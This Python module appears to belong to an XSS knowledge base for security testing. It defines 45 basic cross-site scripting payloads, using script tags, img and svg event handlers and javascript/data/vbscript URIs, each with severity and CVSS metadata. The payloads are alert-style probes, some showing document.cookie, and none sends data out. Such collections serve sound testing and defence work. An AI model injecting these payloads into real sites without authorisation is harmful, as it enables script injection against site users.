#!/usr/bin/env python3
"""
Project: BRS-KB (BRS XSS Knowledge Base)
Company: EasyProTech LLC (www.easypro.tech)
Dev: Brabus
Date: 2025-12-27 UTC
Status: Refactored
Telegram: https://t.me/EasyProTech

Basic Core Payloads - Part 1
"""

from typing import Dict

from ..models import PayloadEntry


BASIC_CORE_PAYLOADS_PART1: Dict[str, PayloadEntry] = {
    "basic_001": PayloadEntry(
        payload='<script>alert("XSS")</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Basic payload",
        tags=["basic", "script", "img", "svg"],
        waf_evasion=False,
    ),
    "basic_002": PayloadEntry(
        payload="<script>alert(String.fromCharCode(88,83,83))</script>",
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Basic payload",
        tags=["basic", "script", "img", "svg"],
        waf_evasion=False,
    ),
    "basic_003": PayloadEntry(
        payload="<script>alert(document.domain)</script>",
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Basic payload",
        tags=["basic", "script", "img", "svg"],
        waf_evasion=False,
    ),
    "basic_004": PayloadEntry(
        payload="<script>alert(document.cookie)</script>",
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Basic payload",
        tags=["basic", "script", "img", "svg"],
        waf_evasion=False,
    ),
    "basic_005": PayloadEntry(
        payload="<script>alert(location.href)</script>",
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Basic payload",
        tags=["basic", "script", "img", "svg"],
        waf_evasion=False,
    ),
    "basic_006": PayloadEntry(
        payload="<script>alert(navigator.userAgent)</script>",
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Basic payload",
        tags=["basic", "script", "img", "svg"],
        waf_evasion=False,
    ),
    "basic_007": PayloadEntry(
        payload='<script>eval("alert(1)")</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Basic payload",
        tags=["basic", "script", "img", "svg"],
        waf_evasion=False,
    ),
    "basic_008": PayloadEntry(
        payload='<script>setTimeout("alert(1)",0)</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Basic payload",
        tags=["basic", "script", "img", "svg"],
        waf_evasion=False,
    ),
    "basic_009": PayloadEntry(
        payload='<script>Function("alert(1)")()</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Basic payload",
        tags=["basic", "script", "img", "svg"],
        waf_evasion=False,
    ),
    "basic_010": PayloadEntry(
        payload='<script>[].constructor.constructor("alert(1)")()</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Basic payload",
        tags=["basic", "script", "img", "svg"],
        waf_evasion=False,
    ),
    "basic_011": PayloadEntry(
        payload='<script>window["alert"](1)</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Basic payload",
        tags=["basic", "script", "img", "svg"],
        waf_evasion=False,
    ),
    "basic_012": PayloadEntry(
        payload="<script>window.alert(1)</script>",
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Basic payload",
        tags=["basic", "script", "img", "svg"],
        waf_evasion=False,
    ),
    "basic_013": PayloadEntry(
        payload="<script>this.alert(1)</script>",
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Basic payload",
        tags=["basic", "script", "img", "svg"],
        waf_evasion=False,
    ),
    "basic_014": PayloadEntry(
        payload="<script>self.alert(1)</script>",
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Basic payload",
        tags=["basic", "script", "img", "svg"],
        waf_evasion=False,
    ),
    "basic_015": PayloadEntry(
        payload="<script>parent.alert(1)</script>",
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Basic payload",
        tags=["basic", "script", "img", "svg"],
        waf_evasion=False,
    ),
    "basic_016": PayloadEntry(
        payload="<script>top.alert(1)</script>",
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Basic payload",
        tags=["basic", "script", "img", "svg"],
        waf_evasion=False,
    ),
    "basic_017": PayloadEntry(
        payload="<script>alert(Math.floor(1))</script>",
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Basic payload",
        tags=["basic", "script", "img", "svg"],
        waf_evasion=False,
    ),
    "basic_018": PayloadEntry(
        payload="<script>alert(String.fromCharCode(49))</script>",
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Basic payload",
        tags=["basic", "script", "img", "svg"],
        waf_evasion=False,
    ),
    "basic_019": PayloadEntry(
        payload='<script>alert(parseInt("1"))</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Basic payload",
        tags=["basic", "script", "img", "svg"],
        waf_evasion=False,
    ),
    "basic_020": PayloadEntry(
        payload='<script>alert(Number("1"))</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Basic payload",
        tags=["basic", "script", "img", "svg"],
        waf_evasion=False,
    ),
    "basic_021": PayloadEntry(
        payload='<script>console.log("XSS")</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Basic payload",
        tags=["basic", "script", "img", "svg"],
        waf_evasion=False,
    ),
    "basic_022": PayloadEntry(
        payload='<script>console.error("XSS")</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Basic payload",
        tags=["basic", "script", "img", "svg"],
        waf_evasion=False,
    ),
    "basic_023": PayloadEntry(
        payload="<script>debugger</script>",
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Basic payload",
        tags=["basic", "script", "img", "svg"],
        waf_evasion=False,
    ),
    "basic_024": PayloadEntry(
        payload='<script>document.body.innerHTML="XSS"</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Basic payload",
        tags=["basic", "script", "img", "svg"],
        waf_evasion=False,
    ),
    "basic_025": PayloadEntry(
        payload='<script>document.title="XSS"</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Basic payload",
        tags=["basic", "script", "img", "svg"],
        waf_evasion=False,
    ),
    "basic_026": PayloadEntry(
        payload='<script>document.write("XSS")</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Basic payload",
        tags=["basic", "script", "img", "svg"],
        waf_evasion=False,
    ),
    "basic_027": PayloadEntry(
        payload='<script>document.writeln("XSS")</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Basic payload",
        tags=["basic", "script", "img", "svg"],
        waf_evasion=False,
    ),
    "basic_028": PayloadEntry(
        payload='<img src=x onerror="alert(1)">',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Basic payload",
        tags=["basic", "script", "img", "svg"],
        waf_evasion=False,
    ),
    "basic_029": PayloadEntry(
        payload="<img src=x onerror='alert(1)'>",
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Basic payload",
        tags=["basic", "script", "img", "svg"],
        waf_evasion=False,
    ),
    "basic_030": PayloadEntry(
        payload="<img src=x onerror=alert(String.fromCharCode(88,83,83))>",
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Basic payload",
        tags=["basic", "script", "img", "svg"],
        waf_evasion=False,
    ),
    "basic_031": PayloadEntry(
        payload="<img src=x onerror=prompt(1)>",
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Basic payload",
        tags=["basic", "script", "img", "svg"],
        waf_evasion=False,
    ),
    "basic_032": PayloadEntry(
        payload="<img src=x onerror=confirm(1)>",
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Basic payload",
        tags=["basic", "script", "img", "svg"],
        waf_evasion=False,
    ),
    "basic_033": PayloadEntry(
        payload="<img src=x onerror=alert(document.domain)>",
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Basic payload",
        tags=["basic", "script", "img", "svg"],
        waf_evasion=False,
    ),
    "basic_034": PayloadEntry(
        payload="<img src=x onerror=alert(document.cookie)>",
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Basic payload",
        tags=["basic", "script", "img", "svg"],
        waf_evasion=False,
    ),
    "basic_035": PayloadEntry(
        payload='<img src=x onerror=eval("alert(1)")>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Basic payload",
        tags=["basic", "script", "img", "svg"],
        waf_evasion=False,
    ),
    "basic_036": PayloadEntry(
        payload='<img src=x onerror=setTimeout("alert(1)",0)>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Basic payload",
        tags=["basic", "script", "img", "svg"],
        waf_evasion=False,
    ),
    "basic_037": PayloadEntry(
        payload='<img src=x onerror=Function("alert(1)")()>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Basic payload",
        tags=["basic", "script", "img", "svg"],
        waf_evasion=False,
    ),
    "basic_038": PayloadEntry(
        payload="<img onload=alert(1) src=data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==>",
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Basic payload",
        tags=["basic", "script", "img", "svg"],
        waf_evasion=False,
    ),
    "basic_039": PayloadEntry(
        payload="<img onerror=alert(1) src>",
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Basic payload",
        tags=["basic", "script", "img", "svg"],
        waf_evasion=False,
    ),
    "basic_040": PayloadEntry(
        payload='<img onerror=alert(1) src="">',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Basic payload",
        tags=["basic", "script", "img", "svg"],
        waf_evasion=False,
    ),
    "basic_041": PayloadEntry(
        payload='<img onerror=alert(1) src=">',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Basic payload",
        tags=["basic", "script", "img", "svg"],
        waf_evasion=False,
    ),
    "basic_042": PayloadEntry(
        payload='<img src="javascript:alert(1)">',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Basic payload",
        tags=["basic", "script", "img", "svg"],
        waf_evasion=False,
    ),
    "basic_043": PayloadEntry(
        payload='<img src="data:text/html,<script>alert(1)</script>">',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Basic payload",
        tags=["basic", "script", "img", "svg"],
        waf_evasion=False,
    ),
    "basic_044": PayloadEntry(
        payload='<img src="vbscript:alert(1)">',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Basic payload",
        tags=["basic", "script", "img", "svg"],
        waf_evasion=False,
    ),
    "basic_045": PayloadEntry(
        payload='<svg onload="alert(1)">',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Basic payload",
        tags=["basic", "script", "img", "svg"],
        waf_evasion=False,
    ),
}
